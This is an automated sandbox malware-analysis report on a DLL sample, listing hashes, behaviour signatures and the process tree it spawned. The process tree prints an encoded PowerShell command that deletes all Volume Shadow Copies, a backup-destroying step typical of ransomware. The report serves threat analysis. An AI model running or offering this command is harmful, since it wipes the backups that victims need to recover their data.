Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09/05/2024, 04:58

General

  • Target

    2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll

  • Size

    166KB

  • MD5

    2865ed46578bf51a1656064c7375b94d

  • SHA1

    fef692d2dcfc799b7399d88372fc5470c1ffc8b2

  • SHA256

    ba11d5592a54787bae50a01afa3cef0f57b67ac4ba603525abb56d3260a5b6ce

  • SHA512

    6b491507bcbe7259f59c3a1079e9bc02febe007e30a448bec1c1f4bd9e1ca4b646175c46eef83df3c4e084049b9228390674e6dcae737cc2bca7a3c70d6b3728

  • SSDEEP

    3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfmVvdOyY26bL:Ww9vteqJggn7oUfodOTL

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2332
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2908

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2308-4-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

      Filesize

      4KB

    • memory/2308-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

      Filesize

      32KB

    • memory/2308-5-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2308-7-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-10-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-11-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-12-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

      Filesize

      9.6MB